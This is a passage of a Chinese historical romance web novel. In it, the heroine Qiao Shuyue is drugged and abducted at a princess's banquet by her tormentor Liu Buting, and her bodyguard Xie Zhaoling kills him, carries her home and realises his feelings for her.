乔姝月仔细端详那婢女,认出这是跟在郡主身边,一起迎她和大嫂进门的婢女。 乔姝月心下稍安,但还是不敢放松警惕,她冲对方颔首,又说了声稍等。 乔姝月走到两位好友身边,低声道:“一炷香时间后,我若没有回来,你们就找个借口去见郡主。” 两位好友不明所以,纷纷点头。 乔姝月起身,随婢女往屏风后走去。 ** 远处的树梢上,少年背靠着树干。 他飞越了一个又一个梢头,从她进门到入席,视线始终追随。 直到他的视线被房檐挡住。 他漫不经心地盯着院子瞧,过了好久,小姑娘忽然又走近了他的视线里。 谢昭凌直起身,目光锋利地盯着那道身影。他看着她跟在一人身后,拐到另一边。 谢昭凌看了一眼方位,腾空越起,奔向下一个树梢。 落地那一瞬,他蓦地瞳孔骤缩。 小姑娘被那婢女击晕,被拖到了一旁的房间里。 谢昭凌握紧刀鞘,就要闯入王府中。 他飞身到王府上空,站在房顶上,又见几个小厮打扮的人鱼贯而入,进了房间,而后将小姑娘又架了出来。 谢昭凌视线牢牢盯在那一行人身上。 婢女似乎很不高兴,对着其中一人颐指气使,为首的小厮不住弯腰赔着不是。 四周很静,隐约能听到几个字。 “我们郡主……” “帮了这一回便两不相欠再不往来……” 那些人把乔姝月带走了。 谢昭凌脚踩着砖瓦,微眯了眸,环视四周。 都没发现,魏王府的另一侧,竟与悦泉楼隔得这么近。 一个久违的名字浮在心头。 谢昭凌眼底淬着寒冰,心底尽是嗜血的杀意。 他拎起攀云剑,踏着瓦片,一路疾行追了上去。 50-60 第51章 【51】 一炷香时辰未到,陆氏找了过来,她见乔姝月没在,眉头微微蹙起。问过陆思蓁以后,才知是被长灵郡主的人找了去。 陆氏脸色阴沉,嗓音紧绷:“可是郡主此刻和王爷王妃在一起,我才见过他们,并未看到月儿。” 陆思蓁愣了下,结巴道:“二姐,那、那月月呢?我们亲眼见着她被婢女叫走的。” 林韵也急得脸蛋通红,连连点头,“是一个唇角有颗黑痣的婢女。” 林韵描述了那婢女的样貌,陆氏还有印象。 陆氏二话不说,便去找郡主对质。 长灵郡主闻言却摇头,坚决称说自己并未叫人去寻乔姝月,还声称,她的几个婢女都从未离开过自己,对陆氏所提的那人,自己并无印象。 可陆氏分明记得,林韵提到的那名婢女的样貌,的的确确是郡主来迎接她们时,当时就跟在身边的一人,即便只是那一面,陆氏也确定自己没有看错。 若非如此,乔姝月必然不会轻易相信并且跟着对方走的,她定然也以为是长灵郡主派去的,才会放下戒心。 可那名婢女,长灵郡主说不认识,此刻还消失得无影无踪。连带着乔姝月的下落,都成了未知。 长灵郡主一听说乔姝月不见了,急得眼圈通红,自责不已,当即要丢下一众宾客去找。 陆氏目光冰冷,盯着长灵看了半晌,“郡主身边当真没有那么一个婢女吗?” “没有。” “既然如此,小妹在贵府失踪一事,看来只能求助官府,请陛下圣裁了。” 魏王一听,立马服了软,称人既然是在王府不见的,那他们必然担起找人的指责。 当即散了仆人小厮去寻找,很快回禀了结果,皆一无所获。 后又命各个守门的护卫前来问话,询问可看到乔姑娘的离开。 陆氏冷淡地勾了唇角,“王爷的意思是,我家小妹私自离府,还编排了一出,冤枉郡主?” 魏王笑呵呵地,没有回答。 郡主看似十分伤心焦急,王妃搂着她轻声地哄。 陆氏看得心烦,转头又询问起林韵细节。 不出一刻,便有西角门的两名守卫回禀说,看到了乔姑娘独自一人出了王府,没带婢女,还说其神色如常,并未东张西望,直直朝着西边去了,显然是目的地十分明确的。或许是和什么人有约,不想让人知晓,才不到招呼就离去了。 和什么人有约需要这般偷偷摸摸的? 话里话外,只差扣乔姝月一个私会男子的罪名。 他们言之凿凿,说是亲眼所见。 陆思蓁当场跳脚,“我们分明看到一个婢女来找她!才不是她一个人走的!” 王妃问道:“那婢女你见过?” 陆思蓁没了声,半晌摇摇头。 王妃又道:“席间那么乱,许是你们听错了也未可知。” 陆氏冷笑两声,又一次问道:“可确认人是‘独自’出门?没有婢女跟随吗?” 两名守卫皆答是。 陆氏瞬间便明白了。 魏王府众人敢这般肯定,说明小妹人确实不在这里了。继续留在这里和他们耗下去,毫无益处,还会耽误寻人的时间。 他们既然说人不在这里,说看到她独自离开,那么就说明,她确实是被人胁迫着离开的,并且胁迫她的人不会被人轻易找到。那名婢女应当的确不是王府的人,无凭无据的,他们不怕。 不管他们把姝月带走要做什么,当务之急,都是找到她。 陆氏道:“我反复询问,两名守卫与郡主皆不改口,那么我也不再逼迫了。在场的夫人姑娘们皆听到了这证言,抵赖不得,若到时魏王府又出尔反尔,就莫怪我乔家真闹到陛下面前。” 说罢也不再同他们纠缠,带着人走了。 另一边,谢昭凌熟练地翻进悦泉楼的后院。 不同于上回,他落地便撞见了一女子。 这女子他也识得,叫窈娘,当初他被关在悦泉楼时,一日三餐,都是窈娘来送的。 那时刀疤男见他不逃,便没有给他的房门上锁,是窈娘将他的房门上了一道又一道的锁。 若说现如今这悦泉楼里还有谁对谢昭凌最熟悉,那便只剩下她了。 谢昭凌不愿多加罪孽,可他一时一刻都耽误不得,慢一步,不知道那帮人会对小菩萨做什么。 窈娘看着从天而降的少年,还未来得及看清人脸,脖颈间便架上来一把剑,只眨眼的功夫,鲜血喷射而出,尖叫声也因此停在了喉咙里。 谢昭凌将窈娘的尸首拖进了房间,用草垛盖住。 而后片刻不耽搁,掀开地道入口的门,钻了进去。 这条路还是原来的味道,和他上回来时并没什么分别,显然又是许久没有人通过。 他路过每一个房间时,都屏息去听屋里的动静。 他们若要想对小菩萨做什么,必会择一隐秘的房间,所以他没多思索,直奔地道深处而去。 …… 乔姝月苏醒时,自己正躺在一个柔软的榻上。 她做了一个漫长的梦。 梦到和柳步亭的初次见面。 那时乔姝月只有七八岁,某次跟着褚氏去了香料铺。 施掌柜要给褚氏调一味独特的香,所需时辰不短,乔姝月无聊,便去找施芊玩。 她熟门熟路绕到后门,结果没注意,推错了门。 当时柳家大爷还在世,曾在外头养了一外室,乔姝月推开的就是这扇门。 她当时打开门,便见到两个年岁相当的男孩子在打架。 乔姝月自小就跟在二哥屁股后头玩,受二哥影响,她知道不少侠客故事,并且心向往之,总畅享着自己长大以后也要去流浪江湖,惩恶扬善。 她小时候喜欢往外跑,不然也不会在六岁那年走丢,被施芊捡到。 自那回走丢,每次出门都必有长辈跟着,乔姝月没了机会再行侠仗义,为此郁闷苦恼了许久。 眼下终于又有机会让乔姝月当一把“大侠”了! 于是她也不管自己只到那两个男孩胸口高,大喝一声,一身正气地冲了过去。 她挡在处于弱势的那个男孩身前,一本正经地劝解另一人,拳头不能解决问题,有什么话不可坐下来说呢?看着斯斯文文的,怎能肆意使用暴力? 她絮絮叨叨说了半晌,直到施芊站在门口,试探地喊了她一声,她才急急忙忙出门去了,跑到门口,还叉着腰,一脸严肃地对二人说,既是兄弟,就不要打架。 当时被她“教育”的是外室的儿子,而被她护下的,正是柳步亭。 她冲进门时,背对着柳步亭,并不知道柳步亭当时用什么眼神在看她,她若知道,一定当即就会后悔自己在这个时候冲了出去。 当时的小姝月什么都不懂,她很开心自己又帮了一个人。 她不知道柳家小少爷有多尊贵,哪是一介平民轻易欺凌得了的? 她不知道那一场架是柳步亭故意设计的,他并非没有还手的能力,而是故意不还手。 她不知道有人竟从这么小的时候,心肝就都是黑的。 那会柳家大爷正计划着把外室和私生子接回去,柳步亭不愿。 但他知道劝说无用,所以他没表示出反对来,明面上不发一言,背地里借着上门关怀的名义,故意挑衅,激怒了外室的儿子,只盼着对方往自己的脸上添点彩,而后好光明正大地回家告状。最好能在他身上见点血,这样外室一辈子都别想进柳家的大门。 他计划得天衣无缝,只没想到从天而降一个多管闲事的小丫头。 她天真得可笑,又热情得令人着迷。尤其是回头教导他们要好好相处时,眼睛漂亮得好似宝石,让柳步亭挪不开眼,只想将其取下,好好珍藏。 那日的计划在乔姝月的搅局下宣告失败,后来柳步亭找人给自己身上添了点伤,回了家。 祖父见他如此狼狈,果然大怒,骂了柳家大爷一通,还找人速速将外室处理了,至于外室的儿子,还是决定带回府上养着,毕竟是柳家的血脉,不可流落在外。 柳步亭能让人进门? 他暗地里把那私生子给处理了。人死了,还怎么进门。 这些事都是后来乔姝月才知道的。 乔姝月意识到,柳步亭就是天生的坏种,神仙难渡的恶人。 乔姝月这辈子自认靠自己的力量,并没有能对抗柳步亭的能力,于是她只能小心翼翼地在柳步亭手伸不到的地方,提心吊胆地生活。 憋屈吗? 自然是憋屈的。 她多希望自己真是一名侠客,能够仗剑走天涯,能够让柳步亭彻底消失在这世上。 可惜她什么都做不到。 她不得不考虑乔家的未来,谨小慎微,步步谨慎。 她更不能求谢昭凌帮她解决,谢昭凌的人生才刚刚开始,犯不着为了她背上一条人命。若是他当真为了她挥剑,那之后呢?柳家人能放过他吗?乔家还能容得下他吗?他多不容易才走到京城来。 若柳氏一族当真和悦泉楼沆瀣一气,那个姓郑的也不会再接纳谢昭凌,到时候谢昭凌又该如何? 那样的话,她就真成了罪人,不顾后果,断了他所有的退路,把他往绝路上逼。 她只能费尽心思,循着原有的轨迹,让每一件小事都发生偏移,积少成多,以此来改变命运。 好在她时间还很多,并未到生死存亡的关头。且她的努力也已初见成效了,起码比前世好了太多。 这样想着,乔姝月慢慢勾起唇角。 她又梦到了自己前世身处牢狱时的那段时日。 自阿娘和身边的婢女们一个接一个死后,乔姝月便如同一具行尸走肉,每日坐在角落,呆呆仰头望着牢房中唯一的那扇窗。 柳步亭大概以为她想逃走,于是让人将那扇窗彻底封死。 乔姝月便再也看不到夜晚的月光了,也逐渐不奢望任何希望。 她只想要行刑日快一点到来,好让她早点下去和家人团聚,这样苟且偷生,没有一点意思。 四哥的来信曾让她重燃希望,可很快那点欣喜又散去。 她只希望四哥能好好活着,希望反抗军攻入京城后,四哥能被善待。若是可以,她希望自己的尸首也可以被扔到乱葬岗去,不要被四哥带回家。 因为她的阿娘也在那,她不希望阿娘到了地下是孤苦的。 斩刑前夕,乔姝月咬破了自己的手指,在四哥那封信的背面偷偷写下了一封遗书,将自己的希望都写在上头。 她不知自己死后,有没有人能看到这封信。 后来她带着信上了刑场,最后信又到了谢昭凌的手里。 谢昭凌帮她从乱葬岗中找回了阿娘的尸首,带回了乔家。不止阿娘,父亲的、兄长们的、甚至是玉竹紫棉刘妈妈的,都被他一个一个找了回来。 乔姝月这才又有了生的希望。 一滴泪从乔姝月的眼角滑落。 这么好的陛下,她怎么忍心将他推入深渊呢。 谢昭凌,你可千万别来找我。 “……” “醒了啊。” 熟悉的声音在乔姝月耳边响起,激得乔姝月身子抖了抖。 前世对柳步亭的恐惧与憎恨深入刻骨,即便跨越了时间,她也深深地受其影响着。 柳步亭阴恻恻地笑道:“真是许久不见了,月妹妹。” 他放下手中茶盅,慢慢踱步到床边,在她身侧坐下。 伸手捞起一缕她散在榻上的墨发,弯下身子,凑上去嗅了嗅。 他心情莫名转好了些,满脸陶醉,又道:“月妹妹,你可知我有多想你?这两年间,我们都没有什么机会见面。” 乔姝月想要起身,却才发现自己浑身都僵硬无比,连抬手都做不到。 她瞪大眼睛,目露惊恐神色,张了张唇,却发现自己也发不出声。 柳步亭噙着笑意,欣赏她无助的模样,柔声道:“我不会对你如何,我怎么舍得?只是想同你单独说会话罢了。” 这两年里,乔姝月总是躲着他。 她从不参加任何一场宴席,什么赏花宴,品诗大会,蹴鞠赛,一概都没有她的身影。 最初还有人问起陆思蓁,问乔姝月为何不同她一起,后来也逐渐地没人再提了。 乔姝月好像有意在淡化自己在西京城中的存在感。 她成功了,如今记得她的人寥寥无几。 要不是这一次长灵郡主的接风宴,柳步亭还不知何时能再和她说上一句话。 柳步亭这两年收敛了性子,他承认自己两年前做错了,不该将她推下河中,可没办法,谁叫她那么不听话,惹他生气呢? 漫长的时间里,柳步亭见不到她,这才慢慢生出后悔来。 早知对她再温柔些,总好过现在把人吓跑了。 他后来又到乔府拜访,次次都被门房挡在外头,连门都不给进。 他知道京中许多公子哥都暗中嘲笑他,可他并不在乎,将那些人都料理了一番,继续坚持地制造机会想见她一面。 这两年中,他只有趁着她出门时,才能见她一面。 但那怎么能够呢? 柳步亭一想起来就恨得牙痒痒,“你那个好护卫,当真是罪该万死,好几回我都要见到你了,是他一个人把我挡了回来。” “我记得他,最开始是乔四院里的下等奴,没想到他本事了得,竟能做你的贴身护卫。” 柳步亭打听到那个下等奴就是因为救了乔姝月,才有机会到人身边当护卫。 这可把柳步亭给气得牙都咬碎了,他这算弄巧成拙,搬起石头砸了自己的脚。 因他一时从动,反而为人做嫁衣。 吃一堑长一智,他万不可再将人吓跑。如今长了两岁,柳步亭自诩行事比先前低调沉稳,万不可再将事情弄得更糟。 毕竟他可是要和月妹妹好一辈子的。 柳步亭挤出一个温柔的笑,手指在乔姝月的脸上触了触,“我同你保证,只要你别再躲我,就什么都依你可好?你瞧谁不顺眼,我都帮你料理。乔家有什么难处,我也会尽力相帮。虽然两家在立场上不同,往后必然要斗得你死我活,我保证会一直护着你,可好?” “哪怕将来太子落败,我也会劝二表哥放你一条生路,到时候你没了家,就跟我回去,我不会像我死去的那个爹一样,找什么外室,全家都只会尊你一个少夫人。” 乔姝月只觉得浑身发冷,被他碰过的地方失了知觉,胃里翻江倒海,压抑不住作呕的感觉。 柳步亭说着说着,自己陷入回忆里,既感慨又怀念。 他握着她不能动弹的手,拇指在手背上摩挲。 “我早早知晓世事,知道若无强硬的家世背景,在这皇城里只会任人磋磨,搓圆捏扁,我既有家族做靠山,又为何要低调收敛呢?” “人人都势利得很,捧高踩低,见风使舵,都是常有的,你当初护着我,对那外室子百般奉劝,你可知他有多窝囊?我费了许多口舌,才激他对我挥舞拳头。” “你就是太善良,这才叫我日日夜夜都不忘,担心你何时就在我看不到的地方被人欺负了去,所以我才要教你道理,让你看透这肮脏又真实的世道是怎么一回事。” “乔家人里没个能担事的,就那个老四还算不错,可他是庶子,掀不起什么风浪,你们斗不过柳氏一族,你该早些想明白这些,选一条能走到底的正确的路才行。” 这些话乔姝月前世便听过,不过那时他们已经十五岁,她也及笄,到了谈婚论嫁的年纪。 那时柳步亭将她拦住,同她讲了这一通“道理”,可她那时怕他怕得厉害,没听完就跑了。 “月妹妹,我若不是为了你的名声着想,就不会叮嘱他们,说你独自离府了,我大可让他们说,看到了你与我同行即可,这样便可将你彻底与我绑在一处,我们这辈子就这么纠缠下去,才如了我的愿。” “可惜,我到底害怕又将你推远,所以为你留了一步退路……” 柳步亭愈发得激动起来,他陷入自己一个人的疯狂里。 鬼使神差地,看着女孩红润饱满的唇,心底竟生出一丝欲望来。 他几个堂兄在这个年岁便已和房中的丫鬟好上了,只有自己,洁身自好,还未开荤。 他倒不是没个欲望,只是一想到都不是乔姝月,便顿觉索然无味起来。 今日无人打扰,不如就…… 他慢慢压低身,朝她靠近。 乔姝月使出全身的力气挣扎。 她手指用力,终于握成拳,指甲深深嵌入皮肤,十指都抠出了血,钻心的痛感让她保持冷静与清醒。 身体在慢慢复苏,她面上不显,仍是一副惊慌失措的模样,暗地里却在尝试唤醒知觉,她看准了,床头摆着一个花瓶,只要自己能动,就不愁没有还击的可能。 她还是说不了话,只得用柳步亭最不喜欢的神情去面对他。 只要能激起柳步亭的怒火,他便会对她失去欲望。对付柳步亭,她早已经验丰富,得心应手。 柳步亭注意到女孩冰冷的目光,果然渐渐没了兴致。 若是从前,他只要通过惩戒的方式,教导她即可。可此刻,他怕了,他不想吓跑她。 还是算了。 柳步亭掐灭了念头,叹了口气,“月妹妹,你可知我的心?” 他一边说着,一边手撑着她身侧起身。 后面半句“我心仪你许久”还未说出,便再也没机会开口。 身后忽然伸来一只手,用力地捂住他的唇。 那人顺手扯下挂着的幔帐,几下缠罩在他的头上,带着他疾速后退,一边退到房间中央,一边箍着他的脖子,调转了身体的朝向。 而后只听利刃出鞘,钻入布中,手起刀落,一剑扎穿了他的脖颈。 霎时间,鲜血四溅。有布挡着,才没喷射得到处都是。 空气中顿时弥漫起腥甜的味道。 柳步亭双目凸出,捂着刀口,想要回头,却被人钳制着,无法动弹。 血液汩汩外涌,身体的温度在流失。 他到死也没能看到杀他的凶手,没能看乔姝月最后一眼。 柳步亭的尸身无声倒在地上。 谢昭凌垂下手,回头看了一眼榻上的人。 第52章 【52】 乔姝月侧头看着那边。 谢昭凌眼底漆黑一片,比黑夜还暗,寻不到一丝光亮。 他面无表情,周身还充斥着浓重的肃杀与血气。 他看了她一眼,便收回目光,蹲下了身,抄起柳步亭身上还算干净的一块衣角,沉默地擦拭着攀云剑上的血。 乔姝月莫名地想起那句—— “我以后,都用这把剑保护你。” 乔姝月哽咽一声,泪水模糊了眼眶。 他做到了承诺,用攀云剑保护了她。 谢昭凌很快收了剑,走到榻前。 他挡住她的目光,一把将另一片床帐也扯下,将柳步亭的尸身裹了个严实。 血一滴都没流出来,地上干干净净的,好像从未有人死去。 谢昭凌将尸体拉到一个乔姝月看不到的地方。 他居高临下,面色冰冷地俯视着尸首。半晌,才平息了内心的暴戾,找回神志。 而后他才回到乔姝月身边,站在床边,目光逐渐柔和。 他将自己沾染了血的袖子挽起,露出结实的小臂。 手绕到她颈后,将她扶起身,靠在自己怀里。 无声地,安抚地在她后背拍了拍。 乔姝月死咬住嘴唇,无声痛哭。 哪怕装作冷静从容地面对柳步亭,根据他的性子,迅速做出反应,寻找应对的法子,她终究还是害怕的。 她从前只有一味被柳步亭纠缠、欺压的份儿,她这次也没把握能在柳步亭手底下讨到什么好。哪怕心里害怕,她也要强忍着,昂起下巴面对,若往后退,那才是叫柳步亭称心如意了。 可谢昭凌忽然出现了。 她浑身绷紧的劲儿顿时卸了个干净。 她不用再强迫自己对抗麻药,她可以流露出软弱与胆怯,任由自己全身无力,倚靠着他的胸膛。 谢昭凌揽着她,拆了小姑娘蹭得凌乱的发髻。以指为梳,十指拢住她的长发,灵巧地将她头发聚到一处,三两下就重新梳好一个少女的发髻。 小姑娘愣住,眼泪悬而未落,她说不出话来,一双眼睛会说话似得,瞬间传达了万语千言。 谢昭凌低缓着声音,这才开口说了第一句话。 他大抵是压抑克制太久,声音都哑得磨人耳朵。 “日日在窗外看着,早就学会了。” 他会给她挽发,因为每日早起玉竹给她梳妆时,他就靠在窗边,静静看着。 日复一日,看了一年,再笨也记住了。 他也不知道学会又有何用,总不至于轮得到他上手去做这些事,他心里都清楚不会有那么一天,可还是认真看了,学了,默不作声地,都记在了心里。 乔姝月感受着他的手指划过头皮的感觉,闭上眼睛,埋在他胸口深深吸气。 他的衣领沾了血,能闻到些血腥味,但更多的都是衣服本身皂角的味道,清清爽爽的,很熟悉,有安全感。 当时他若是不带着柳步亭远离、调转方向,那柳步亭的血就会尽数都喷到她的身上。 他是不想那些脏污的东西碰到她。 他的温柔总是如春雨一般,润物细无声,滋润着她的心房。 几下梳好了头,谢昭凌没再多耽误时间,扔开枕头,用她身下的床单将她包住。 一扶在她背后,一手从她腿弯伸过,稍稍用力便将人打横抱了起来。 乔姝月窝在他怀里,看着他寻到一处暗门,按下机关,走进暗道。 乔姝月这才知道,当初二哥那个案子,他是如何偷梁换柱,将真凶运到悦泉楼里,又是如何将二哥悄无声息地带了出来。 乔姝月心底震撼,垂着眼睛,往他怀里靠了靠。 她的陛下,总是这般无所不能。 进了地道,一片漆黑,根本看不到什么东西。 谢昭凌却如鱼得水,步子又快又稳。 阵阵阴风从乔姝月耳边呼啸而过,她将耳朵贴到他胸口上,只专心地听他的心跳声。 快速急促的,仍未平息,这是为了她而慌乱的心。 谢昭凌走了几步,将乔姝月轻轻放在地上,将她的头扭向一边。 “闭上眼睛。” 他在她耳边轻声说。 乔姝月听话地合上双眼。 而后谢昭凌又离开了,听方向,他回去了。 谢昭凌回到房间,拖起柳步亭的尸体往暗道里拉。 走廊里忽然传来脚步声,谢昭凌停下动作,听着外头的人停在门口。 那人似乎趴在门板上,听着里面的动静。 大抵是半晌没听到声音,这才试探地敲了下门,“少爷?” 怎么方才还有人说话,这会这么安静? 谢昭凌抄起一杯茶,扔到门框上,压低声音,道了一声“滚”。 外头的人松了口气,连连赔罪,以为自己打搅了什么好事,又赶忙走得远远的,生怕惹怒主子,自己又领一顿罚。 尸体的血将幔帐浸透,房间的暗门从谢昭凌的背后缓缓合上。 谢昭凌将尸体扔到了暗道里。 阴沟里的老鼠闻到味道,吱吱叫着,迅速赶来。 谢昭凌面色无波,大步朝前走去。他抱起乔姝月,继续往外行。 乔姝月窝在他怀里,问道:“扔在这里,没关系吗?会被发现的。” 谢昭凌道:“这里早该被发现了。” ** 这一次没有人为谢昭凌善后。 好在他已经不是两年前那个无知的少年,他自己准备好了一切。 一辆低调的马车停在街角,他将人塞进去,驾着车离开。 由乔府后门弃车步行,他抱着人走进府中。 悄无声息,没人察觉。 等进到木兰院,这才看到慌乱的众人。 刘妈妈早得了消息,陆氏带着人出去找人,刘妈妈留在府上,等着他们回来。 陆氏早说,或许谢护卫会将姝月带回来。 提起谢昭凌,众人的心皆安了两分。 这两年间,谢昭凌无时无刻不出现乔姝月的身边,不管她到哪,身边总能见到少年的身影。 若是连他都找不到她,那这世上大抵也不会有旁人能发现她的踪迹了。 刘妈妈怀揣着希冀,忐忑又焦急地留守木兰院。 现下见到谢昭凌回来,眼泪顿时就涌了出来。 众人一窝蜂迎上去,却都止步于前,无人敢靠近半分。 原因无他,只因少年的眼神太骇人。 且他上身还沾了不少血,叫人一时畏惧,不敢上前。 他仿若从地狱中爬出来的恶鬼,凡有人要靠近,都会被他那双黑眸摄住灵魂,下一刻似乎就要扑上来,将人撕咬着扯碎。 谢昭凌将一众甩在身后,自顾自走进闺房中。 他从未抵达过少女的床榻。 而这一次,是第一次,大抵也是他留在乔府里的最后一次了。 他轻轻将人放在榻上,动作轻柔地解开床单。 乔姝月再见天日,被亮光晃得眯了眯眼。 她闭着眸,忽而感觉一只手掌贴上了她的脸颊。 她颤抖着睫毛,睁开眼睛。 看到谢昭凌坐在床边,目光深邃,带着她从未见过的晦涩与复杂。 他手指轻轻擦过她的脸颊,她低头看去,见到指腹殷红,沾了人血。 乔姝月望向他领口,知道这是靠过去时,不小心沾上的。 他眉头微蹙,目光专注,擦得认真,似乎很不能接受这种肮脏的东西出现在她的身上。 乔姝月下身还不能动,她扯住他的领口,往自己的方向带了带,抬起手臂,用力地抱住了他的脖子。 她没有说话,只是把脸深深埋进他脖颈,用力去闻他身上的味道。 谢昭凌顿了顿,抬手按住她的后背。 轻轻地拍了两下,他什么都没说,只用两个人能听到的音量,低低唤了她一声: “阿月。” 乔姝月“嗯”了声,手臂愈发收紧。 脖颈被一股股热泪浸润,谢昭凌的心脏逐渐生出一阵滞闷感。 他无力垂下手臂,低下头,也合上眼睛。 哪怕杀了柳步亭,谢昭凌也只觉得力不从心。 对于权利的渴望,在这一刻达到顶峰。 他想,往后再难,也不会想要轻易死去了。要为了她拼命地活着,拼命地往上爬才行。 刘妈妈站在一旁看着,抬手摸了摸眼泪,转身出去,让人出去送信。 屋里再没了旁人,谢昭凌才抬起手臂,将她用力拥入怀中。 抱上来的那一刻,他忽然想起来一个场景—— 那是前几日,他跟着褚玄英练剑,有几个小丫鬟躲在柱子后头,满面红晕,含羞带怯地望着他们。 那天乔姝月对他发了脾气。 她一整天都板着脸,不理他,只要他看过来,就用那种幽怨又委屈的眼神看着他。 谢昭凌不懂,在夜晚下值时,没忍住问了她。 她这才委屈巴巴地告诉他原因。 她没说明白,只道:“你的一双眼睛要看着书本,看着手中的剑。莫要盯着旁人瞧,那会扰乱你奋发向上的心。” 那时谢昭凌只以为她今日不满意他的学习,认为他懈怠了,不够刻苦。 于是他保证,自己会按照她的要求,严格约束己身。 他低下眼睛,没看到她又欣慰又失落的眼神。 他只觉得自己心里是有些遗憾的,但究竟在遗憾什么,他不知道。 也许是自己还不够拔尖吧。 他觉得自己该做那个万里挑一的人,起码对得起小菩萨的厚望才行,于是愈发勤奋刻苦,连看向乔姝月的目光都带了几分自己都未察觉的克制。 如今却有如一根针扎进了脑海里一般。 一切全都顿悟,全都想通了。 他记得那晚自己离开时,她还对他说:“不过你可以看我,毕竟我可是你的主子。” 那会他读不懂的内心忽而生出的喜悦,此刻也全都懂了。 谢昭凌虽未经历过情爱,但他自小就混迹民间,人又聪慧,有些事一点就通。 须臾间,他回忆起她说的每一句扰乱他心神的话。 说喜欢他,信任他。 只将秘密分享给他。 看向他时总是依赖又充满爱意的眼神。 眼睛是骗不了人的,他怎么会才明白呢。 谢昭凌忽然问道:“在你的梦里,能看到我们多大时的样子?” 谢昭凌忽然意识到,在那个预知梦里,自己或许不只是“救过乔家”那么简单,而她当初来救他,应当也不只是想找一个强有力的援军那么简单。 他问得取巧,默认了他们以后还会在一起。 小姑娘没力气思索,果然没发现话中的陷阱,只窝在他怀里,闷声道:“二十多岁。” 谢昭凌心落下去,“嗯”了声,二十多岁是在一起的。 他又问:“那三十岁呢?” 小姑娘身子微僵,半晌没有动静。 谢昭凌揽在她背后的手蓦地收紧。 锐利的黑眸深暗,再也发不出一言。 半晌,谢昭凌将人放开。 再望向她时,目光带了些侵占性,藏着最世俗的贪婪渴望,那是他最最瞧不上眼的东西,如今竟也体会到了。 压抑的情愫亟待喷薄而出,强烈的独占欲爬满心脏。 他望过来的目光很深,好像要透过面前这个小小躯壳,跨越时间,去看向未来的她,看向二十多岁,只属于他一个人的她。 他在脑海里描摹她未来的模样,却因自己实在缺乏想象,想不出她未来的样子。 他想,他以后要学会画画。 将她的一颦一笑都记下来。 一直到六十,七十,八十岁。 全部,全部,都画下来。 第53章 【53】 陆氏与褚氏赶到时,老远就闻到了一股烧东西的味道。 踏进木兰院,便见谢昭凌站在院子中央,冷眼看着面前的东西烧着。 火焰很旺,将不知名的物件烧了个干净,空气中只余下灰烬的味道。 谢昭凌周围空了好大一片地,没人靠近,婢女们都四散在周围,倒不是怕火,而是谢昭凌周身的气势凌厉,实在叫人不敢靠近。 见到陆氏一行人归来,谢昭凌也只是漫不经心地抬了眼皮,很快又蔫蔫垂下,再不理会任何人。 谢护卫往常也独来独往,谁也不爱搭理,但他大体上算得上礼数周全,从也没有此刻这般冷漠到了骨子里,他看人的目光带着攻击性,似乎还有一股深深的疲惫感被他藏下。 褚氏急切地走进来,问了声:“月儿呢?” 刘妈妈赶紧把人往里引,压低声道:“姑娘受了惊吓,已睡下了。” 褚氏顿时放轻动作,急匆匆进了门。 陆氏跟在婆母身后,狐疑地看了一眼院中的少年。 犹豫了下,还是先进去看看乔姝月,人回来了就好,至于发生了什么,稍后再问。 乔誉与乔良缀在最后。 乔良跟着两位长辈进了屋,目不斜视,一心一意都只有自家小妹。 唯有乔誉,停在院中,没有再往前。 乔誉站在一旁,安静地看着。 谢昭凌烧完一样,又踢了踢脚下的一团东西。 乔誉认出是家中护卫才会穿的衣物。 露出的一截衣角沾了大片的红,好像是……血。 乔誉盯着那一角红,拧着眉,问道:“烧的什么?” 婢女哆哆嗦嗦,答道:“床单,还、还有他的……” 他的衣服。 乔誉脑海里莫名地冒出“毁尸灭迹”这四个字。 他看着少年的神情,直觉乔府要变天了。 乔姝月未醒,屋里的众人也不敢大声说话将她吵醒。 气氛十分凝重。 陆氏早已将王府的情况尽数告知褚氏,褚氏听后,气得当即上门找人理论。 可是人的确不在王府,宾客来去自由,他们也不能拘着人。 褚氏的意思是即刻报官,让官府帮着寻人。 陆氏将消息送到了乔父那里,乔父却道不急,言说或许是幼女顽皮,自己跑出去了没同旁人说,乔氏一族如今被许多眼睛盯着,万万不可行差踏错,若是大动干戈闹到公衙上,最后只是一场误会,岂不授人以柄? 只是走失一会,不要紧,乔姝月不是小孩子了,若到天黑还未归来,再去报官。 褚氏知道乔父靠不住,捂着胸口痛骂,转头将府上的家丁遣散出去找人,为此还被乔父训斥了一番。 眼下人终于平安归来,就这么耗着也不是事。 陆氏劝道:“月儿还不知要多久才醒,不如先将谢护卫叫进来问问,毕竟是他带月儿回来的。” 褚氏用帕子拭了拭眼泪,正要让人去唤谢昭凌,便见谢昭凌未经禀报,自己拎着一个药箱走了进来。 他一进门,便直直望着床榻而去。 褚氏大惊,“谢护卫,你要作甚?!” 只见少年谁也没理,自顾自地,沿着榻边坐下。 陆氏眉头微蹙,看过去的目光复杂了许多。 这个谢护卫好像自打回来,就变得有些不一样了。 谢昭凌充耳不闻,打开药箱,将一药膏捏在手里。 他又僭越地去掀开少女的被子。 褚氏蓦地站起身,脸色难看,快步走到近前,怒斥道:“谢护卫,不得——” 放肆二字还未出口,便生生止住,哑口无言。 褚氏不可置信地看过去。 少年掌心托着的,是一只伤痕累累的手。 陆氏与乔良也都围了上来,刘妈妈眼泪瞬间就下来了,“这是怎么弄得……” 方才将乔姝月带回来时,她便一直都将手缩在袖子里,后来又放进了被中,众人自然没有察觉。 唯有谢昭凌知道她的伤。 谢昭凌目光冷了几分,气息微沉,手上动作更轻。 他小心翼翼地托着她的掌心,将药轻柔地涂在她每一根伤指上。 乔姝月为了对抗那迷药,抠得用力,十个手指惨不忍睹,她指缝里还残存着肉块,谢昭凌将手指上的伤上好药后,又帮她清理了指甲。 乔良在旁边看着就疼,他五官扭在一起,胸膛剧烈起伏,显然是心疼得不行。 陆氏合了合眼,手撑在褚氏的背上,轻言:“母亲,此事我们得要个说法。” 褚氏双目通红,满是血丝,眼中尽是愤恨。 要说魏王府清白,她绝对是不信的,她的女儿好端端地出了家门,如今却是遍体鳞伤地回来。 此刻倒是没人追究谢昭凌僭越之举,只是他与乔姝月这般亲昵,褚氏到底看不顺眼。 褚氏面色古怪,这才认真地打量起他来。 从前日日在一个屋檐下生活,还不觉得变化。如今乍一看,却惊觉少年已经完全褪去了稚气,向着成年的方向靠拢。 女儿虽年纪小,但这个年龄定亲的也不在少数。且女儿向来懂事早熟,他们…… 褚氏从来不是拘在闺阁中的女子,但她此刻也觉得两个孩子挨得太近了。 刘妈妈适时上前,“谢护卫,我来吧。” 